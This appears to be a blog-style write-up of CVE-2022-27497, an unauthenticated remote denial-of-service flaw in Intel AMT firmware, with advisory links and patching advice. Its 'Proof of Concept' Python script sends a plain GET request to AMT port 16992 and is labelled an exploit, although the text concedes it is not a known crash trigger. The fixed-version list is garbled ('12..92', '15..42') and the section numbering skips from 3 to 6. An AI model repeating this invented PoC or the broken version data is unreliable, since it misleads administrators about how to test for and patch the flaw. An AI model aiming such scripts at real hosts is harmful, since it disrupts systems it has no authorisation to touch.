CVE-2022-27497 is a critical vulnerability affecting Intel® Active Management Technology (AMT), a suite of hardware-based features included in many Intel motherboards for remote administration. The flaw, found in AMT firmware versions prior to 11.8.93, 11.22.93, 11.12.93, 12..92, 14.1.67, 15..42, and 16.1.25, is a null pointer dereference. This bug can be remotely triggered by an unauthenticated user to crash AMT services—causing a denial of service (DoS).

If your organization's infrastructure relies on Intel vPro or AMT, patching is crucial since attackers only need network access and no authentication to pull off the attack.

1. What Is a Null Pointer Dereference?

In programming (especially C/C++), a null pointer dereference happens when software tries to read or write memory at address zero—an address reserved in most operating systems. For firmware, this can cause the management engine or entire AMT stack to crash.

Real-World Meaning: In this case, an attacker can effectively knock AMT offline remotely, preventing admins from managing or recovering systems using AMT. While it’s not a full remote code execution, it’s serious for remote management and recovery.

2. Where’s the Bug?

Intel’s advisory gives limited technical detail due to the closed-source nature of AMT firmware, but it attributes the vulnerability to network-handling code.

From the advisory

> "Null pointer dereference in firmware for Intel(R) AMT … may allow an unauthenticated user to potentially enable denial of service via network access."
— Intel Security Advisory

More details were indexed by NIST/NVD.

3. Exploit Details & Proof of Concept

Since this is a network-based flaw, we can simulate possible exploit attempts based on public information and typical AMT behavior.

AMT is exposed on the network through ports like 16992, 16993, 623, and 664 (for HTTP/HTTPS and WS-Management). The flaw is believed to be triggered via malformed or unexpected HTTP messages sent to these ports.

PoC Example (Python)

> DISCLAIMER: This is an example meant for educational, authorized testing only.

import socket

def send_malformed_request(amthost, port=16992):
    # Connect to the AMT HTTP port
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((amthost, port))
    # Send minimal malformed HTTP request (simulate null dereference trigger)
    # This request omits required headers, perhaps triggering unexpected code path
    payload = b"GET / HTTP/1.1\r\n\r\n"
    s.sendall(payload)
    try:
        response = s.recv(1024)
        print("[*] Response received (if any):", response)
    except socket.timeout:
        print("[*] No response received. Possible crash/DoS.")
    s.close()

# Use the exploit (replace '192.168.1.10' with your test AMT system IP)
send_malformed_request("192.168.1.10")

NOTE: The actual crash is highly firmware/version-dependent, and this basic example demonstrates the method rather than a known crash request.

Monitor network ports 16992, 16993, 623, 664 for unusual traffic.

- Unexplained AMT failures or devices dropping out of vPro management may indicate attempted exploitation.

Protection

- Update AMT firmware to latest version (download center)

Intel Advisory:

https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00700.html

NIST NVD entry:

https://nvd.nist.gov/vuln/detail/CVE-2022-27497

Firmware Downloads:

https://downloadcenter.intel.com/

AMT Docs:

https://www.intel.com/content/www/us/en/architecture-and-technology/intel-active-management-technology.html

6. Conclusions

While not allowing full system compromise, CVE-2022-27497 is a high-impact vulnerability for enterprise operations relying on Intel AMT for remote control. Denial of service can stall recovery and provisioning, giving attackers a valuable window. Patching AMT firmware immediately is the only reliable defense.

Timeline

Published on: 11/11/2022 16:15:00 UTC
Last modified on: 11/17/2022 13:08:00 UTC